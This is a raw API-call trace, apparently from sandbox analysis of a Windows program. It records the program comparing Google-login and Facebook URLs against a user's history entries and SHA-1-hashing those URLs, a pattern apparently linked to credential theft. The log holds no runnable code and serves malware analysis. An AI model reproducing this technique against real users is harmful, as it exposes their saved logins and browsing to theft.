	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 1
	[0099.044] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0099.044] wcslen (_String="https://www.google.com/accounts/servicelogin") returned 0x2c
	[0099.044] wcscmp (_String1="http://www.facebook.com/", _String2="https://www.google.com/accounts/servicelogin") returned -1
	[0099.044] wcscmp (_String1="http://www.facebook.com/", _String2=":host: www.google.de") returned 1
	[0099.044] wcscmp (_String1="http://www.facebook.com/", _String2=":host: www.msn.com") returned 1
	[0099.044] wcscmp (_String1="http://www.facebook.com/", _String2="http://google.com") returned 1
	[0099.044] wcscmp (_String1="http://www.facebook.com/", _String2="https://www.google.de/") returned -1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.google.de/") returned -1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.msn.com/de-de/") returned -1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="https://support.microsoft.com/products/internet-explorer") returned -1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="http://go.microsoft.com/fwlink/") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="https://support.microsoft.com/internet-explorer") returned -1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.msn.com/") returned -1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2=":host: computer") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned 1
	[0099.045] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 1
	[0099.046] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 1
	[0099.047] CryptAcquireContextA (in: phProv=0x18c108, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c108*=0x60f7d8) returned 1
	[0099.056] wcslen (_String="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 0x39
	[0099.056] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx" | out: _String="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx"
	[0099.056] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.057] wcslen (_String="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 0x39
	[0099.057] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.057] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.057] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.057] wcslen (_String="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 0x39
	[0099.057] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.057] wcslen (_String="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx/") returned 0x3a
	[0099.057] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.057] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.057] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.057] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 0x46
	[0099.058] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg"
	[0099.058] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.058] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 0x46
	[0099.058] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8e, dwFlags=0x0) returned 1
	[0099.058] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.058] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.058] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 0x46
	[0099.058] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.058] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg/") returned 0x47
	[0099.058] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x90, dwFlags=0x0) returned 1
	[0099.058] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.058] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.058] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 0x3c
	[0099.058] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx"
	[0099.058] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.058] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 0x3c
	[0099.058] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.058] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.058] CryptDestroyHash (hHash=0x610398) returned 1
